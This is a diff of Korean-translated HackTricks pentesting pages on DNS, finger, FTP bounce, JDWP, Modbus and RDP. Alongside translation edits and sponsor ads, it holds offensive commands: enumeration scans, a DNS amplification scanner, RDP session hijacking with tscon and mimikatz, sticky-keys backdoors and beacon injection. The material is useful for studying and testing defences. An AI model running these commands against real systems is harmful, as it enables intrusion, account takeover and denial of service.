**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하는 20개 이상의 맞춤형 도구를 사용하세요. 여러분의 노력을 설득력 있는 보고서로 바꾸세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**도메인 네임 시스템(DNS)**은 인터넷의 디렉토리 역할을 하며, 사용자가 google.com 또는 facebook.com과 같은 **기억하기 쉬운 도메인 이름**을 통해 웹사이트에 접근할 수 있도록 합니다. 도메인 이름을 IP 주소로 변환함으로써 DNS는 웹 브라우저가 인터넷 리소스를 신속하게 로드할 수 있도록 하여 우리가 온라인 세계를 탐색하는 방식을 단순화합니다.
|
||||
**도메인 네임 시스템(DNS)**은 인터넷의 디렉토리 역할을 하여 사용자가 google.com 또는 facebook.com과 같은 **기억하기 쉬운 도메인 이름**을 통해 웹사이트에 접근할 수 있도록 합니다. 도메인 이름을 IP 주소로 변환함으로써 DNS는 웹 브라우저가 인터넷 리소스를 신속하게 로드할 수 있도록 하여 우리가 온라인 세계를 탐색하는 방식을 단순화합니다.
|
||||
|
||||
**기본 포트:** 53
|
||||
```
|
||||
|
@ -107,7 +107,7 @@ auxiliary/gather/enum_dns #Perform enumeration actions
|
|||
#Perform enumeration actions
|
||||
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
|
||||
```
|
||||
### DNS - 리버스 BF
|
||||
### DNS - Reverse BF
|
||||
```bash
|
||||
dnsrecon -r 127.0.0.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -r 127.0.1.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
|
@ -151,14 +151,14 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
|||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
IPv6 주소를 사용한 역 DNS 브루트포스
|
||||
IPv6 주소를 사용한 역 DNS 브루트포스 공격
|
||||
```bash
|
||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||
```
|
||||
### DNS Recursion DDoS
|
||||
|
||||
만약 **DNS 재귀가 활성화되어 있다면**, 공격자는 UDP 패킷의 **원본**을 **스푸핑**하여 **DNS가 피해 서버로 응답을 보내도록** 만들 수 있다. 공격자는 **ANY** 또는 **DNSSEC** 레코드 유형을 악용할 수 있는데, 이들은 더 큰 응답을 가지기 때문이다.\
|
||||
DNS가 **재귀**를 지원하는지 **확인**하는 방법은 도메인 이름을 쿼리하고 **응답에 "ra" 플래그** (_재귀 사용 가능_)가 있는지 **확인**하는 것이다:
|
||||
DNS가 **재귀**를 지원하는지 **확인**하는 방법은 도메인 이름을 쿼리하고 **플래그 "ra"** (_재귀 가능_)가 응답에 있는지 **확인**하는 것이다:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
```
|
||||
|
@ -172,7 +172,7 @@ dig google.com A @<IP>
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
|
@ -289,9 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
|
@ -51,7 +51,7 @@ finger-user-enum.pl -U users.txt -t 10.0.0.1
|
|||
finger-user-enum.pl -u root -t 10.0.0.1
|
||||
finger-user-enum.pl -U users.txt -T ips.txt
|
||||
```
|
||||
#### **Nmap은 기본 스크립트를 사용하여 스크립트를 실행합니다.**
|
||||
#### **Nmap 기본 스크립트를 사용하여 실행하는 스크립트**
|
||||
|
||||
### Metasploit은 Nmap보다 더 많은 트릭을 사용합니다.
|
||||
```
|
||||
|
@ -75,9 +75,9 @@ finger @internal@external
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하는 20개 이상의 맞춤형 도구를 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -91,7 +91,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
@ -30,14 +30,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
- FTP 중간 서버에서 유효한 FTP 자격 증명
|
||||
- 피해자 FTP 서버에서 유효한 FTP 자격 증명
|
||||
- 두 서버 모두 PORT 명령을 수락해야 함 \(바운스 FTP 공격\)
|
||||
- 두 서버 모두 PORT 명령을 허용해야 함 \(바운스 FTP 공격\)
|
||||
- FRP 중간 서버의 일부 디렉토리에 쓸 수 있어야 함
|
||||
- 중간 서버가 어떤 이유로 피해자 FTP 서버 내부에 더 많은 접근 권한을 가짐 \(이것이 당신이 이용할 점입니다\)
|
||||
- 중간 서버가 어떤 이유로 피해자 FTP 서버 내부에 더 많은 접근 권한을 가져야 함 \(이것이 당신이 이용할 점입니다\)
|
||||
|
||||
## 단계
|
||||
|
||||
1. 자신의 FTP 서버에 연결하고 연결을 수동으로 설정합니다 \(pasv 명령\) 피해자 서비스가 파일을 보낼 디렉토리에서 수신 대기하도록 합니다.
|
||||
2. FTP 중간 서버가 피해자 서버에 보낼 파일을 만듭니다 \(익스플로잇\). 이 파일은 피해자 서버에 대한 인증, 디렉토리 변경 및 파일을 자신의 서버로 다운로드하는 데 필요한 명령의 일반 텍스트입니다.
|
||||
2. FTP 중간 서버가 피해자 서버에 보낼 파일을 만듭니다 \(익스플로잇\). 이 파일은 피해자 서버에 인증하고, 디렉토리를 변경하고, 파일을 자신의 서버로 다운로드하는 데 필요한 명령의 일반 텍스트입니다.
|
||||
3. FTP 중간 서버에 연결하고 이전 파일을 업로드합니다.
|
||||
4. FTP 중간 서버가 피해자 서버와 연결을 설정하고 익스플로잇 파일을 전송하도록 합니다.
|
||||
5. 자신의 FTP 서버에서 파일을 캡처합니다.
|
||||
|
@ -48,7 +48,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
|
@ -39,7 +39,7 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
|
|||
|
||||
## More details
|
||||
|
||||
**이것은 [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)의 요약입니다.** 추가 세부정보는 해당 링크를 확인하세요.
|
||||
**This is a summary of [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Check it for further details.
|
||||
|
||||
|
||||
1. **JDWP 개요**:
|
||||
|
@ -51,14 +51,14 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
|
|||
|
||||
3. **JDWP 통신**:
|
||||
- 메시지는 길이, ID, 플래그 및 명령 집합과 같은 필드를 가진 간단한 구조를 가지고 있습니다.
|
||||
- CommandSet 값은 0x40에서 0x80까지 다양하며, 서로 다른 동작 및 이벤트를 나타냅니다.
|
||||
- 명령 집합 값은 0x40에서 0x80까지 다양하며, 서로 다른 동작 및 이벤트를 나타냅니다.
|
||||
|
||||
4. **악용**:
|
||||
- JDWP는 임의의 클래스 및 바이트코드를 로드하고 호출할 수 있어 보안 위험을 초래합니다.
|
||||
- 이 기사는 Java Runtime 참조를 가져오고, 중단점을 설정하고, 메서드를 호출하는 다섯 단계의 악용 프로세스를 자세히 설명합니다.
|
||||
- JDWP는 임의의 클래스와 바이트코드를 로드하고 호출할 수 있어 보안 위험을 초래합니다.
|
||||
- 이 기사는 Java Runtime 참조를 가져오고, 중단점을 설정하고, 메서드를 호출하는 5단계의 악용 프로세스를 자세히 설명합니다.
|
||||
|
||||
5. **실제 악용**:
|
||||
- 잠재적인 방화벽 보호에도 불구하고 JDWP 서비스는 실제 시나리오에서 발견 가능하고 악용될 수 있으며, 이는 ShodanHQ 및 GitHub와 같은 플랫폼에서의 검색을 통해 입증됩니다.
|
||||
- 잠재적인 방화벽 보호에도 불구하고 JDWP 서비스는 발견 가능하며 실제 시나리오에서 악용될 수 있습니다. 이는 ShodanHQ 및 GitHub와 같은 플랫폼에서의 검색을 통해 입증됩니다.
|
||||
- 이 악용 스크립트는 다양한 JDK 버전에서 테스트되었으며 플랫폼에 독립적이며 신뢰할 수 있는 원격 코드 실행(RCE)을 제공합니다.
|
||||
|
||||
6. **보안 의미**:
|
||||
|
@ -82,7 +82,7 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
@ -24,7 +24,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
# 기본 정보
|
||||
|
||||
1979년, **Modbus 프로토콜**이 Modicon에 의해 개발되어 메시징 구조로 사용됩니다. 이 프로토콜의 주요 용도는 마스터-슬레이브/클라이언트-서버 모델에 따라 지능형 장치 간의 통신을 촉진하는 것입니다. 이 프로토콜은 장치가 데이터를 효율적으로 교환할 수 있도록 하는 데 중요한 역할을 합니다.
|
||||
1979년, **Modbus 프로토콜**이 Modicon에 의해 개발되어 메시징 구조로 사용되었습니다. 이 프로토콜의 주요 용도는 마스터-슬레이브/클라이언트-서버 모델에 따라 지능형 장치 간의 통신을 촉진하는 것입니다. 이 프로토콜은 장치가 데이터를 효율적으로 교환할 수 있도록 하는 데 중요한 역할을 합니다.
|
||||
|
||||
**기본 포트:** 502
|
||||
```
|
||||
|
@ -38,16 +38,16 @@ msf> use auxiliary/scanner/scada/modbusdetect
|
|||
msf> use auxiliary/scanner/scada/modbus_findunitid
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하는 20개 이상의 맞춤형 도구를 사용하세요. 여러분의 노력을 설득력 있는 보고서로 바꾸세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하는 20개 이상의 맞춤형 도구를 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -55,7 +55,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하는 20개 이상의 맞춤형 도구를 사용하세요. 여러분의 노력을 설득력 있는 보고서로 바꾸세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
Microsoft에서 개발한 **원격 데스크톱 프로토콜** (**RDP**)은 네트워크를 통해 컴퓨터 간의 그래픽 인터페이스 연결을 가능하게 하도록 설계되었습니다. 이러한 연결을 설정하기 위해 사용자는 **RDP** 클라이언트 소프트웨어를 사용하고, 동시에 원격 컴퓨터는 **RDP** 서버 소프트웨어를 운영해야 합니다. 이 설정은 원거리 컴퓨터의 데스크톱 환경을 원활하게 제어하고 접근할 수 있게 하여, 본질적으로 그 인터페이스를 사용자의 로컬 장치로 가져옵니다.
|
||||
Microsoft에서 개발한 **원격 데스크톱 프로토콜** (**RDP**)은 네트워크를 통해 컴퓨터 간의 그래픽 인터페이스 연결을 가능하게 하도록 설계되었습니다. 이러한 연결을 설정하기 위해 사용자는 **RDP** 클라이언트 소프트웨어를 사용하고, 동시에 원격 컴퓨터는 **RDP** 서버 소프트웨어를 운영해야 합니다. 이 설정은 원격 컴퓨터의 데스크톱 환경을 원활하게 제어하고 접근할 수 있게 하여, 본질적으로 그 인터페이스를 사용자의 로컬 장치로 가져옵니다.
|
||||
|
||||
**기본 포트:** 3389
|
||||
```
|
||||
|
@ -72,9 +72,9 @@ rdp_check <domain>/<name>:<password>@<IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요**
|
||||
|
||||
**실질적인 비즈니스 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하는 20개 이상의 맞춤형 도구를 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -96,7 +96,7 @@ tscon <ID> /dest:<SESSIONNAME>
|
|||
|
||||
**중요**: 활성 RDP 세션에 접근하면 해당 세션을 사용 중인 사용자가 강제로 로그아웃됩니다.
|
||||
|
||||
프로세스를 덤프하여 비밀번호를 얻을 수 있지만, 이 방법은 훨씬 빠르며 사용자의 가상 데스크탑과 상호작용할 수 있게 해줍니다 (저장되지 않은 메모장에 있는 비밀번호, 다른 머신에서 열린 다른 RDP 세션 등...).
|
||||
프로세스를 덤프하여 비밀번호를 얻을 수 있지만, 이 방법은 훨씬 빠르며 사용자의 가상 데스크탑과 상호작용할 수 있게 해줍니다 (비밀번호가 디스크에 저장되지 않은 메모장, 다른 머신에서 열린 다른 RDP 세션 등...).
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
|
@ -107,13 +107,13 @@ ts::remote /id:2 #Connect to the session
|
|||
```
|
||||
### Sticky-keys & Utilman
|
||||
|
||||
이 기술을 **stickykeys** 또는 **utilman**과 결합하면 언제든지 관리 CMD와 모든 RDP 세션에 접근할 수 있습니다.
|
||||
이 기술을 **stickykeys** 또는 **utilman**과 결합하면 언제든지 관리 CMD와 RDP 세션에 접근할 수 있습니다.
|
||||
|
||||
이미 이러한 기술 중 하나로 백도어가 설정된 RDP를 검색할 수 있습니다: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
이 기술 중 하나로 백도어가 설정된 RDP를 검색할 수 있습니다: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
### RDP Process Injection
|
||||
|
||||
다른 도메인에서 또는 **더 나은 권한으로 RDP**를 통해 **당신이 관리자**인 PC에 로그인하는 경우, 그의 **RDP 세션 프로세스**에 당신의 비콘을 **주입**하고 그로 행동할 수 있습니다:
|
||||
다른 도메인에서 또는 **더 나은 권한으로 RDP를 통해 로그인한** 사용자가 **당신이 관리자**인 PC에 접속하면, 그의 **RDP 세션 프로세스**에 당신의 비콘을 **주입**하고 그로서 행동할 수 있습니다:
|
||||
|
||||
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
|
||||
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
||||
|
@ -127,12 +127,12 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn**는 Microsoft Windows 컴퓨터에서 **Shadow** 공격을 자동화하기 위해 설계된 Powershell로 작성된 포스트 익스플로잇 프레임워크입니다. 이 취약점(마이크로소프트에서 기능으로 나열됨)은 원격 공격자가 **피해자의 데스크탑을 그의 동의 없이 볼 수 있게** 하며, 심지어 운영 체제 자체의 도구를 사용하여 필요에 따라 이를 제어할 수 있게 합니다.
|
||||
**AutoRDPwn**는 Microsoft Windows 컴퓨터에서 **Shadow** 공격을 자동화하기 위해 주로 설계된 Powershell로 생성된 사후 활용 프레임워크입니다. 이 취약점(마이크로소프트에서 기능으로 나열됨)은 원격 공격자가 **피해자의 동의 없이 그의 데스크탑을 볼 수 있게** 하며, 심지어 운영 체제 자체의 도구를 사용하여 필요에 따라 이를 제어할 수 있게 합니다.
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* 명령줄에서 자동화된 방식으로 마우스와 키보드 제어
|
||||
* 명령줄에서 자동화된 방식으로 클립보드 제어
|
||||
* RDP를 통해 대상에 네트워크 통신을 전달하는 SOCKS 프록시 클라이언트에서 생성
|
||||
* RDP를 통해 대상에 네트워크 통신을 채널링하는 SOCKS 프록시 클라이언트에서 생성
|
||||
* 파일을 업로드하지 않고도 대상에서 임의의 SHELL 및 PowerShell 명령 실행
|
||||
